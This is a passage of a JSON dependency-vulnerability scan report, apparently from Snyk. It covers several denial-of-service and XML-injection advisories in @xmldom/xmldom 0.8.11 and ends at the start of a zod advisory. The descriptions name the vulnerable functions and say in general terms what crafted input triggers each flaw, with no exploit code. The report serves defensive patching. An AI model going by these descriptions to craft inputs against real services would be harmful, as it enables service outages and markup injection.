"url": "https://github.com/xmldom/xmldom/commit/dabffe884e864eeecb1f515c716f875e1bc47ec1",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:02:48.085083Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:07.564369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:07.564369Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:48.085083Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `appendElement` function in `lib/sax.js` when handling XML documents with deeply nested elements that declare new namespace prefixes. An attacker can cause excessive memory consumption by submitting specially crafted XML input that leads to quadratic growth in namespace-map storage, potentially resulting in process heap exhaustion.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-965w-775f-mr7g)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/954370f58c046223faf95ba77efcbc8ce014409d)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/dabffe884e864eeecb1f515c716f875e1bc47ec1)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.45851",
"probability": "0.00590",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83615"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-965w-775f-mr7g"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:51:45.992466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:19.598000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:51:46.181381Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:07.564369Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499070",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"credit": [
"bhaswanthc",
"Arpit Jain"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.8,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-04T06:32:46.895410Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:08.921629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:08.921629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T06:32:46.895410Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection in the `Document.createProcessingInstruction` function. An attacker can inject arbitrary XML structure by supplying specially crafted input containing invalid XML-name characters, which can break the processing-instruction boundary during serialization.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46990",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83616"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-c7q8-3ch8-vqpv"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:53:54.689728Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:22.960000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:53:54.963551Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:08.921629Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499072",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:02:45.972327Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.225066Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.225066Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:45.972327Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the `DOMParser.parseFromString` function. An attacker can cause significant performance degradation and stall the `Node.js` event loop by submitting XML documents containing elements with a large number of unique attributes.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46571",
"probability": "0.00604",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83613"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-8344-3jmq-59r6"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:57:02.117445Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:40.823000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:57:02.390463Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.225066Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499075",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L/E:P",
"credit": [
"bhaswanthc"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.14",
">=0.9.0-beta.1 <0.9.11"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.14",
"0.9.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-w2rr-34g9-rvrj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1043",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1050",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.14",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.11",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-03T07:56:27.942808Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:L/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.080217Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.080217Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:27.942808Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `createElement` method. An attacker can inject arbitrary attributes, elements, or processing instructions into serialized XML or HTML by supplying crafted tag names, potentially leading to execution of malicious scripts in environments that consume the serialized output.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.14, 0.9.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-w2rr-34g9-rvrj)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1043)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1050)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.14)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.11)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83607"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-w2rr-34g9-rvrj"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:04:54.123458Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:12.638000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:04:54.343649Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.080217Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499076",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-02T06:03:02.192489Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:09.284282Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:09.284282Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:03:02.192489Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseElementStartPart` function and normalization. An attacker can cause excessive resource consumption by providing specially crafted XML input that triggers repeated rescanning or merging of adjacent text nodes.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.45853",
"probability": "0.00590",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83614"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-93r5-fhx6-vmg9"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:06:36.247967Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:45.685000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:06:36.425334Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:09.284282Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499081",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"bhaswanthc"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.14",
">=0.9.0-beta.1 <0.9.11"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.14",
"0.9.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-4w3w-2rp5-g8jm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1043",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1050",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.14",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.11",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-02T06:02:45.602907Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:00.325671Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:00.325671Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T06:02:45.602907Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `setAttribute` method. An attacker can inject arbitrary attribute names, including those containing event handlers or namespace declarations, by supplying crafted input that bypasses validation checks.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.14, 0.9.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-4w3w-2rp5-g8jm)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/cba1321218b069182695813fa7565653708e172e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/d8212e632507eaf1d9f609657dd4c56abeb12d44)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1043)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1050)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.14)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.11)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83605"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-4w3w-2rp5-g8jm"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T14:09:11.124280Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:18.042000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T14:09:11.380629Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:00.325671Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-ZOD-20510278",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<4.6.6"
]
},
"exploit": "Not Defined",
"fixedIn": [
"4.6.6"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "zod",
"references": [
{
"url": "https://github.com/colinhacks/zod/commit/a0ebf970f2d752e5f58527cd2942ff48be4f46bd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/colinhacks/zod/issues/1872",
"title": "GitHub Issue"
},
{
"url": "https://github.com/colinhacks/zod/issues/6643",
"title": "GitHub Issue"
},
{
"url": "https://github.com/colinhacks/zod/pull/6652",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "NVD",
